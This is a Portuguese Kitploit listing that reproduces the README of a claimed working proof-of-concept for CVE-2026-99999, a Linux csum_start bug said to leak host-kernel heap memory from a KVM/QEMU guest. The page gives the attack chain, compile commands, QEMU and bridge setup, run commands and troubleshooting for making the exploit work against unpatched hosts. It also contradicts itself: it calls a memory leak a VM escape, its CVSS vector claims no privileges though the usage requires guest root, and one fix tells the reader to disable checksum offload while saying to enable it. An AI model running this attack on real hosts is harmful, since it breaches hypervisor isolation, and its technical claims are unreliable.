Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-99999-exploit — PoC funcional para CVE-2026-99999 — escape real de VM para a falha csum_start do kernel Linux (CVSS 9.3). Vazamento de heap de Guest para Host. Veja também: CVE-2026-99999-analysis (Educacional). | Kitploit
Ferramentas/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesVirtualização para SegurançaPapers e PesquisaEscape de Contêiner
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

PoC funcional para CVE-2026-99999 — escape real de VM para a falha csum_start do kernel Linux (CVSS 9.3). Vazamento de heap de Guest para Host. Veja também: CVE-2026-99999-analysis (Educacional).

Ver Repositório
31há 15 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-99999 — Repositório de Exploit PoC

⚠️ Este é um repositório de exploit funcional. Ele contém código de exploit real que aciona a vulnerabilidade CVE-2026-99999 em um ambiente KVM/QEMU ativo.

📚 Para uma simulação segura e apenas local da mesma cadeia de ataque, consulte CVE-2026-99999-analysis (sem root, sem rede, Python puro — ótimo para entender o bug sem um laboratório).

Resumo da Vulnerabilidade

CVE-2026-99999 — Bug de validação de csum_start no IPv4 do kernel Linux no caminho de segmentação GSO. Uma VM guest pode vazar ~32–64 bytes de memória heap do kernel host por fragmento de pacote de saída.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Kernels afetados: Todos anteriores aos commits de correção:

  • 5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+

Modelo de atacante: Código sem privilégios dentro de uma VM guest KVM.


Estrutura do Repositório

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

Cadeia de Ataque

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

Compilação

Lado do convidado

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

Lado do host

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

Uso

Opção A: modo vhost-user (recomendado)

Requer:

  • QEMU iniciado com -netdev vhost-user,...
  • Memória do guest compartilhada com o QEMU via memfd ou tmpfs
  • Root no guest
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

Opção B: modo de bypass TAP

Requer:

  • Dispositivo TAP conectado à bridge do host
  • Root ou CAP_NET_RAW no guest
  • bridge-nf-call-iptables=1 no host (para o caminho GSO)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

Notas Técnicas

Compartilhamento de Memória vhost-user

O exploit requer que o QEMU seja capaz de ler a memória da TX virtqueue do guest. Sem memória compartilhada, o QEMU não consegue ler os descritores — os pacotes são enfileirados mas nunca transmitidos.

Para testes, use uma das seguintes opções:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

Pré-requisitos do Caminho GSO

O acionamento da CVE exige que o kernel do host processe o frame através do caminho de segmentação GSO. Isso acontece quando:

  • O frame tem o flag IP_MF (More Fragments) definido — forçando a fragmentação
  • O offload de checksum está habilitado no dispositivo virtio-net
  • O frame é maior que a MTU (forçando a segmentação GSO)

O exploit define IP_MF em cada pacote para garantir a segmentação GSO.

Detecção

O detector do lado do host (receive_and_dump.py) identifica a CVE-2026-99999 ao:

  1. Capturar pacotes na interface da bridge
  2. Detectar bytes IHL corrompidos (version_ihl & 0x0F > 5)
  3. Reportar os bytes excedentes como potenciais vazamentos de memória heap do kernel

Arquivos

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

Solução de problemas

"Cannot connect to vhost-user socket"

  • Certifique-se de que o QEMU está em execução com vhost-user e que o socket existe
  • Verifique: ls -la /tmp/vhost.sock

"Host does not support VIRTIO_NET_F_CSUM"

  • Sua configuração do QEMU/KVM não tem o offload de checksum habilitado
  • Adicione ao QEMU: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — habilite, não desabilite

"Host does NOT support VIRTIO_NET_F_CSUM" (saída do exploit)

  • O backend vhost-user do host não negociou o recurso de offload de checksum
  • Isso é esperado para algumas configurações do QEMU
  • Tente o modo de bypass TAP em vez disso

Nenhum pacote corrompido detectado

  • Certifique-se de que o kernel do host está sem patch (anterior a 5.10.272, 5.15.223, 6.1.190)
  • Verifique: uname -r
  • Certifique-se de que o flag IP_MF está sendo definido nos pacotes de saída
  • Tente executar o Wireshark na bridge do host para observar os frames brutos

Permissão negada

  • Convidado: requer root ou sudo
  • Host: requer root ou sudo para captura de pacotes e configuração do TAP

Aviso legal

Apenas para pesquisa de segurança autorizada em ambientes de laboratório isolados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão por escrito para testar é ilegal. Os autores não assumem nenhuma responsabilidade pelo uso indevido.

Baixar ferramenta